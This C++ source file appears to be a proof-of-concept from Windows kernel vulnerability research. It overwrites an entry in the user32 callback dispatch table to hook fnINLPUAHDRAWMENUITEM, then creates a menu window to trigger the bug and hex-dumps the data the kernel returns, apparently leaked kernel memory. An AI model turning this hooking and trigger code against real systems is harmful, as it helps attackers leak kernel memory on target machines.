#include <Windows.h>
#include <cstdio>

namespace globals {
  LPVOID (WINAPI *Orig_fnINLPUAHDRAWMENUITEM)(LPVOID);
}  // namespace globals;

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

PVOID *GetUser32DispatchTable() {
  __asm{
    mov eax, fs:30h
    mov eax, [eax + 0x2c]
  }
}

BOOL HookUser32DispatchFunction(UINT Index, PVOID lpNewHandler, PVOID *lpOrigHandler) {
  PVOID *DispatchTable = GetUser32DispatchTable();
  DWORD OldProtect;

  if (!VirtualProtect(DispatchTable, 0x1000, PAGE_READWRITE, &OldProtect)) {
    printf("VirtualProtect#1 failed, %d\n", GetLastError());
    return FALSE;
  }

  *lpOrigHandler = DispatchTable[Index];
  DispatchTable[Index] = lpNewHandler;

  if (!VirtualProtect(DispatchTable, 0x1000, OldProtect, &OldProtect)) {
    printf("VirtualProtect#2 failed, %d\n", GetLastError());
    return FALSE;
  }

  return TRUE;
}

LPVOID WINAPI fnINLPUAHDRAWMENUITEM_Hook(LPVOID Data) {
  printf("----------\n");
  PrintHex((PBYTE)Data, 0x88);
  return globals::Orig_fnINLPUAHDRAWMENUITEM(Data);
}

int main() {
  // Hook the user32!fnINLPUAHDRAWMENUITEM user-mode callback dispatch function.
  // The #107 index is specific to Windows 10 1607 32-bit.
  if (!HookUser32DispatchFunction(107, fnINLPUAHDRAWMENUITEM_Hook, (PVOID *)&globals::Orig_fnINLPUAHDRAWMENUITEM)) {
    return 1;
  }

  // Create a menu.
  HMENU hmenu = CreateMenu();
  AppendMenu(hmenu, MF_STRING, 1337, L"Menu item");

  // Create a window with the menu in order to trigger the vulnerability.
  HWND hwnd = CreateWindowW(L"BUTTON", L"TestWindow", WS_OVERLAPPEDWINDOW | WS_VISIBLE,
                            CW_USEDEFAULT, CW_USEDEFAULT, 100, 100, NULL, hmenu, 0, 0);
  DestroyWindow(hwnd);

  return 0;
}